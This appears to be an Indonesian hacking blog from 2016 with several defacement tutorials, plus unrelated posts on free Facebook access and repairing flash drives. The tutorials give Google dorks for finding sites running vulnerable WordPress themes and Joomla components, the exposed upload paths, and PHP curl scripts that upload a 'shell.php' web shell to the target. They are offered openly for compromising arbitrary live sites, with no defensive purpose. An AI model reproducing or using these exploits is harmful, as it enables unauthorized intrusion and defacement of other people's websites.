Sabtu, 23 April 2016

WordPress Smallbiz Themes Remote File Uploads Vulnerability


  

   Berjumpa lagi bersama saya Mr.3RR0R :v , skarang sya akan share tutorial "WordPress Smallbiz Themes Remote File Uploads Vulnerability"

langsung aja yah vro :v

dork : inurl:themes/smallbiz

Cari target locked nya di google menggunakan dork di atas yg vro . :v

Trus klau udah dapat contohnya kyak gini .

"Site.com/wp-content/themes/smallbiz/"

Ubah menadi

"Site.com/wp-content/themes/smallbiz/palette/index.php"

Klau gambarnya kyak gini berarti vulnerable .





Sisa pilih choose file trus upload filemu , klau udah klik tuh analize uploaded image

Klau mau ngeliat tempat filemu di mana berada , sisa klik view .

Note : file yg bisa di upload cuman bisa berextensi "png , gif , jpg , jpeg"

Ok gan gitu aja basa basi nya langsung aja praktekkan :v


Thanks To : PhantomGhost - Sulawesi IT Sec

Facebook : https://www.facebook.com/marselERROR

Fanspage : https://mobile.facebook.com/Mr3RR0R-1605930586394122/

Cara Gratis Akses Facebook Tanpa Mengurangi Kuota Internet Di Smartphone



     Assalamualaikum bro bray ^_^

Sekarang sya udah bosan nge post tutorial deface :v , sekarang sya akan membagikan tutorial "Cara Gratis Akses Facebook Tanpa Mengurangi Kuota Internet Di Smartphone"

Sebenarnya sya dapat ide dari web sebelah , jdinya sya bagikan tutorial ini :v , daripada bagiin tutor deface mulu kan bosan :v

Oke Langsung Aja Ke TKP

1) Download dan install aplikasi internet.org di smartphone  anda , atau di playstore.


2) Buka dan jalankan aplikasi internet.org nya yg tadi sudah di download

3) Pastikan anda sudah mempunyai aplikasi facebook , ingat yah bukan facebook dari web . tpi dari aplikasi .

4) Klau mau bermain facebook gratis , anda harus menjalankan facebook melalui internet.org .

contohnya kyak gini :D









Ok sisa klik aja tuh gambar facebook . selamat anda bermain facebook tanpa biaya :D





Note : Cara Ini Hanya Berlaku Pada Kartu IM3 Dan Mentari saja

Ok gitu aja gan :D , klau ada yg kurang di pahami sisa isi kolom komentar di bwah .

Waasalamualaikmun ^_^

Thanks To : PhantomGhost - Sulawesi IT Sec

Facebook : https://www.facebppk.com/marselERROR

Fanspage : https://mobile.facebook.com/Mr3RR0R-1605930586394122/

Jumat, 22 April 2016

Tutorial Deface dengan WP Themes Brainstorm Arbitrary File


 

   Assalamualaikum :v

Berjumpa lgi bersama sya si tamvan Mr.3RR0R

Sekarang sya akan membahas tutorial deface dengan "Wordpress themes brainstorm"

Entah ini exploit baru atau lama , cuman nemu doang dari blog sebelah :v

ok gan langsung aja pelajari tutor di bwah ini

Dork:
inurl:/wp-content/themes/brainstorm

CSRF :

<?php

$uploadfile="shell.php";
$ch = curl_init("www.contoh.com/[path]/wp-content/themes/brainstorm/functions/jwpanel/scripts/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
              array('Filedata'=>"@$uploadfile",
              'folder'=>'/wordpress/wp-content/themes/brainstorm/functions/jwpanel/scripts/uploadify/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);

  print "$postResult";

?> 

    Pertama gunakan dork diatas di google

klau sudah bug pathnya liat di bwah

www.contoh.com/(path)/wp-content/themes/brainstorm/functions/jwpanel/scripts/uploadify/uploadify.php

klau gambarnya kyak gini , berarti vulnerable :v




Klau gambarnya kyak gitu , sisa gunakan CSRF yg diatas , gunakan xampp :v .

OK gitu aja gan , klau ada yg kurang di pahami silahkan isi komentar di bwah :D

Happy Enjoy :D

Waasalamualaikun gan :v


Source : TKJ Cyber Art

Thanks To : PhantomGhost - Sulawesi IT Sec

Facebook : https://www.facebook.com/marselERROR

Fanspage : https://mobile.facebook.com/Mr3RR0R-1605930586394122/

Kamis, 21 April 2016

Tutorial Deface Dengan Com_Smartformer


 

      Assalamualaikum Vro :v

Sekarang sya akan berbagi exploit sederhana yaitu "Tutorial Deface Dengan Com_Smartformer"

kenapa sya blang sederhana , krena memang exploit ini sangat mudah di pelajari

klau nggak percaya baca artikelnya langsung di bwah

Dork : "inurl:index,php?option=com_smartformer" < kembangin lgi vro , kemungkinan web vulnya kurang :D

langsung aja cari target di google ;D , lalu pilih salah satu web

web yg vuln kyak gini nih



sisa tulis identitas asli atau palsu terserah , trus yg choose file gunakan shell km

klau udah submit , klau mau nyari teempat shell yg udah tertanam

nih : site.com/components/com_smartformer/files/shellmu.php

ok gitu aja gan , klau ada yg kurang mohon di benarkan di kolom komentar

Waasalamualaikum :D

Thanks To : PhantomGhost - Sulawesi IT Sec

Facebook : https://www.facebook.com/marselERROR

Fanspage : https://mobile.facebook.com/Mr3RR0R-1605930586394122/

Rabu, 20 April 2016

Tutorial Deface Dengan Wordpress Valums Uploader


   

   Assalamualaikum Wr.Wb

Kembali lagi bersama beta , sekarang beta mau berikan tutorial yg mungkin bermanfaat bagi kalian :D

Sekarang saya akan memberikan "Tutorial Deface Dengan Wordpress Valums Uploader"

tutorial ini hampir sama dengan tutor valums uploader , cuman klau yg ini pake wordpress

Oke klau gitu langsung aja. Cekidot!!!!

Dork : "index of /" "fileuploader.css" "php.php"

exploit : php.php

Csrf Xampp :

<?php
$uploadfile="shellmu.php";
$ch = curl_init("targetmu");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('qqfile'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Klau ada yg blum bisa gunakan csrf xampp ini belajar dulu lah di google.com -_-

pertama cari target dengan menggunakan dork diatas .

klau dapat contoh kyak gini

site.com/wp-content/themes/blablalbalb/upload/php.php

klau mau tau vulnya nih liat gambar di bwah




ok sisa upload doang dengan CSRF Xamppnya :v

klau berhasil , nanti di csrf xamppnya ada tulisan "true" mungkin kyak gitu :v

klau mau nyari path uploadnya cari sendiri karena biasa beda beda :v


Ok gitu aja .

Terima kasih klau ada salah mohon di betulkan di komentar :D

Waasalamualaikum Wr.Wb


Thanks To : Mr.3RR0R - PhantomGhost - Sulawesi IT Sec

Facebook : https://www.facebook.com/marselERROR

Fanspage : https://mobile.facebook.com/Mr3RR0R-1605930586394122/

Selasa, 19 April 2016

Tutorial Deface File Upload Manager


      

    Assalamualikum Wr.Wb ^_^

Selamat Datang Vro Di Blog Saya Yang Sederhana :v 

Sekarang Saya Akan Share "Tutorial Deface Dengan File Upload Manager"

Sebenarnya Ini Exploit Lama , Tapi Biarkan Nubie Berkreasi , Para Mastah Kelaut Aja Dulu :D

Klau Gitu Langsung Aja Ke Tempat Kejadian Perkara ^_^



Dork : "File Upload Manager" "fileupload" (bisa pake kutip bisa jg tidak , kembangin lgi biar dapat bnyak)

Langsung aja gunakan dork diatas dengan menggunakan google.com .

Kalau udah cari target yg empuk :D 

Kalau vulnerable kayak gini gambarnya vro :D






Klau udah gitu sisa upload gan klik "Choose File" , pilih file yg ingin di upload gan , Penting!! file yg bisa di upload cuman extensi ( htm , gif , jpg , png , dll ) klau php nggak bisa :v , yg savar aja gan :D

klau udah di upload tinggal liat di bwah nama file yg di upload trus klik view :D

Ok gitu aja gan , mudah kan . klau ada yg kurang vaham , bisa isi komen di bwah .

Waasalamualaikum  Wr.Wb

Thanks To : PhantomGhost - Sulawesi IT Sec

Facebook : https://www.facebook/marselERROR


Fanspage : https://mobile.facebook.com/Mr3RR0R-1605930586394122/

Senin, 18 April 2016

Cara memperbaiki FlashDisk Yang Rusak




     Memperbaiki FlashDisk dengan cara paling mudah adalah yaitu dengan cara test kesehatan Flashdisk pada computer / laptop lain untuk memastikan Flashdisk benar-benar tidak bisa terbaca atau komputer yang hendak kita ambil datanya saja yang tidak dapat membaca Flashdisk tersebut, sehingga kita tidak akan salah perbaikan nantinya. Apabila test kesehatan menunjukan Flashdisk dapat terbaca oleh PC (Pocket Computer) lainnya, maka hal ini dapat disebabkan oleh system yang komplik pada komputer pertama. Hal tersebut dapat diatasi dengan cara menancapkan USB Flashdisk kembali pada komputer pertama, setelah itu restart komputer supaya system fresh kembali. Apabila masih tidak terbaca juga, silahkan masuk ke RUN dengan cara tekan Logo Windows + R lalu ketikan devmgmt.msc dan tekan Enter. Selanjutnya akan muncul jendela baru (Devices Manager), disana carilah tulisan Universal Serial Bus Controller dan cari Hardware yang berwarna kuning dengan tanda seru biasanya. Apabila sudah ketemu Uninstall hardware tersebut dan restart kembali komputer. Apabila cara diatas tidak membuat Flashdisk terbaca juga, maka kemungkinan besar Flashdisk rusak karena kecerobohan kita sendiri yaitu sering cabut Flashdisk tanpa Safely Removal Storage Devices terlebih dahulu. Tapi jangan keburu di sikat sama palu atau batu dulu ya cos masih ada cara lain , , silahkan baca trik/cara dibawah ini , ,

  • Cek di Device Manager , caranya :
  • Klik start > settings > Control Panels.
  • Dobel Klik pada icon system
  • Setelah terbuka jendela Syistem Properties, klik tab Hardware
  • Klik tombol Device Manager
  • Kemudian cek di bagian Universal Serial Bus Controllers, terlihat ada masalah
  • Tanda tanya pada bagian ini menandakan hardware tidak dikenal atau td ada driver
  • Tanda silang berwarna merah pada bagian ini menandakan disable, maka jika ini terjadi lakukan klik kanan dan pilih enable
  • Termasuk dalam hal ini kemungkinan perlu install ulang driver nya , ,
klo cara ini gak mempan juga ya boleh lah anda sedikit kecewa , , tapi tenang ni mas seem masih punya cara lain , , hehehee , , silah kan baca trik dibawah ini !! , ,
Cek pada registry, caranya :
  • Klik Start > Run
  • Ketikan : regedit kemudian enter
  • Masuk ke : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UsbStor
  • Pada value Dwords harus bernilai 3 (enable), jika bukan 3 maka update dengan 3 lalu close dan restart

Bila ternyata tidak berhasil sobat dapat menggunakan tools khusus untuk memperbaiki atau merepair media storage sobat. Ada banyak tools yang tersedia di internet untuk merepair flash disk. Yang pernah saya gunakan adalah :
  1. Repair 2.9.1.1 adalah Software ringan ( hanya 492 KB ) ini akan berjalan dan langsung mendeteksi flash disk sobat, kemudian otomatis memperbaiki kerusakannya. Kelebihan tools ini adalah ringan, penggunaannya mudah dan proses repairnya cepat.

klok cara ini masih gagal juga , , yah apa daya mungkin plesdis anda yang minta diformat , , ya udah format ja , , tapi sebelum ada pormat silahkan cobak dulu dibuka lewat exploler , , biasanya sih bisa and lok udah masuk exploler jangan diklik bagian flashdisk biasanya flashdisk nya to kosong / 0 propertis , , tapi klik bagian plus nya ja biasanya terbuka , , selanjutnya cari file-file yg penting dan simpan di leptop/kompunter yang anda gunakan , , setelah selsai memindahkan file-file yang menurut anda penting tadi silahkan dah format secara manual tapi lok teryata gak bisa dipormat kayak biasanya coba dengan trik di bawah ini , ,


1. Klik Start -Run
2. Lalu ketiklah “compmgmt.msc” tanpa tanda petik
3. Pada bagian storage, buka disk management.
4. Normalnya flash disk anda akan terdeteksi.
5. Anda klik kanan, trus pilih create partition
6. Klik kanan lagi, pilih format. Selesai.